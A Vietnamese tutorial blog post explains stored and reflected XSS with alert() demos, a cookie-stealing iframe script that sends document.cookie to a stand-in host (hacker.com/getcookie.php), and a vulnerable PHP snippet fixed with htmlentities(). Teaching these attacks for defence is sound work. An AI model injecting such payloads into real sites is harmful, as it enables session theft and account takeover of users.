TÌM HIỂU LỖ HỔNG XSS

Tìm Hiểu Lỗ Hổng Website XSS

Cross-site Scripting (XSS) là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng.
Khác với SQL Injection tấn công vào CSDL của website, XSS tấn công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion… từ đó có thể đăng nhập chiếm quyền điều khiển website.

PHÂN LOẠI LỖI XSS

• STORED-XSS
Là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log. Ví dụ dưới đây minh họa cho Stored-XSS. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau:

[Image: xss-1.png]

Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
Xin <script>alert(“XSS”)</script>chào!
Kết quả:

[Image: xss-21.png]

Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database nên bất cứ người dùng nào khi truy cập vào trang web này sẽ thực thi đoạn mã trên. Thay vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác nhằm gây hại đến người dùng.

• REFLECTED-XSS:
Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:
[Image: xss-3.png]
Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, ta có thể chèn thêm đoạn mã gây hại vào. Đường link sẽ có dạng:
http://tek.eten.vn/xss/reflected/index.php?q=<script>alert(“XSS”)</script>
Tuy nhiên đoạn mã độc hại không được lưu lại trên server nên chỉ khi chạy đường link trên, người dùng mới bị tấn công.

[Image: xss-4.png]

Kịch bản điển hình nhất khi khai thác XSS là hacker chèn đoạn javascript như sau vào website:

Code
<script type="text/javascript">
document.write("<iframe width=0 height=0
src=http://hacker.com/getcookie.php?cookie=",
document.cookie,">");
</script>

Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie, hacker có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

PHÒNG CHỐNG
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Giống như SQL Injection, bản chất của lỗi XSS là không kiểm soát kỹ dữ liệu nhập đầu vào, vì thế biện pháp hiệu quả nhất là kiểm tra kỹ dữ liệu nhập vào từ người dùng, chặn các từ khóa nguy hiểm, chỉ chấp nhận những dữ liệu hợp lệ.
Một trong những cách khác hay sử dụng mà không cần kiểm soát đầu vào từ người dùng là mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Ví dụ thẻ <script> sẽ được đổi thành &lt;script&gt;, như vậy nó sẽ vẫn được in ra màn hình đúng định dạng mà không hề gây nguy hiểm cho người sử dụng.

Code
include("../../connect.php");
$query = "select * from message order by time desc";
$result = mysql_query($query);
$numRow = mysql_num_rows($result);
if ($numRow != 0){
while($row = mysql_fetch_array($result))
echo $row["content"];
}

Ta thấy ở đoạn code trên biến $row[“content”] được in trực tiếp ra mà không qua xử lý. Trường content được nhập vào từ người dùng nên đoạn code này chắc chắn có lỗi XSS. Để khắc phục ta sẽ mã hóa các ký tự đặc biệt của HTML với hàm htmlentities(). Mã nguồn được chỉnh sửa lại như sau:

Code
echo htmlentities($row["content"]);

Phương pháp này cũng có thể áp dụng với các ngôn ngữ Web khác như ASP, JSP,…


Nguồn: ceh.vn | Đã Edit


Bài viết khác

Những trở ngại lớn trong con đường làm SEO

Trong thời buổi hiện nay, tình trạng các sinh viên ra trường thất nghiệp và phải làm những công việc trái ngành nghề được đào tạo đang khá phổ biến ngay cả ở giữa đất thủ đô này. Đi theo câu nói của các đấng tiền bối: “Phi thương bất phú” thì các ngành nghề…

Tặng Free trọn bộ 500 Preset cho Lightroom

Sống ảo chưa bao giờ dễ hơn với bộ hơn 500 Preset cho Lightroom. Nếu bạn muốn dùng thử bộ preset Lightroom miễn phí cho mỗi bộ sưu tập, thì hôm nay có một tin tốt cho bạn, CITGROUP sẽ tặng đến bạn bộ Preset nó là gói miễn phí đầu tiên trong bộ preset…

Chiến lược tăng doanh thu cho SPA, Thẩm Mĩ Viện dịp Tết 2021

Chào các bạn mình là Công Nghệ CIT hôm nay mình sẽ giới thiệu đên các bạn một trong những giải pháp giúp doanh nghiệp cửa hàng của kinh doanh Spa làm đẹp có thể tăng doanh thu. Đặc biệt là dịp tết nguyên đán đang cận kề như hiện nay. Làm thế nào để…

Backlink là gì? Cách xây xựng backlink hiệu quả trong SEO – CIT Group

Backlink là gì? Đây là cụm từ khóa được tìm kiếm với hàng triệu lượt truy cập, điều này cho thấy rằng nó đang là một phương pháp quan trọng và hữu hiệu. Chắc hẳn các bạn làm SEO không xa lạ gì với từ khóa này rồi. Để giúp trang web có thể lên…

Marketing Online: chủ kinh doanh nên bắt đầu từ đâu?

Marketing Online không còn là một cụm từ xa lạ với dân kinh doanh. Nhưng khi tổ chức các hoạt động Marketing Online cho người mới bắt đầu, đâu mới là nền móng cơ bản để phát triển đồng bộ và lâu dài về cả doanh thu và thương hiệu? Có nhiều công cụ mở…

E-A-T là gì? Ứng dụng vào xây dựng Content Marketing bền vững

Từ sau đợt cập nhật thuật toán của Google vào tháng 8 năm 2018, thuật ngữ E-A-T được nhiều người quan tâm hơn (đặc biệt là các SEOer). Bởi E-A-T tập trung vào đánh giá chất lượng nội dung trên website, tác động đến thứ hạng từ khóa trên bảng xếp hạng tìm kiếm. Vậy…

BỘ LỌC TÌM KIẾM Google cập nhật thuật toán quan trọng

Google Tìm kiếm đang thử nghiệm một tính năng tìm kiếm mới cho phép bạn lọc kết quả tìm kiếm theo các trang cũng đề cập đến các từ cụ thể. Google thêm một hộp vào bên phải của trang kết quả tìm kiếm cho phép bạn đánh dấu những từ đó và sau đó Google…

Khóa học SEO trên dự án thực tế

Học SEO tại biên Hòa, Đào tạo SEO trên dự án thực tế, trương trình dạy SEO từ cơ bản đến chuyên sâu, giảng dạy bời ✅ chuyên gia 05 năm kinh nghiệm ✅ 100% lên TOP ✅ Học SEO tại Biên Hòa – Khóa học SEO không còn là khái niệm quá mới mẻ…

0922.272.868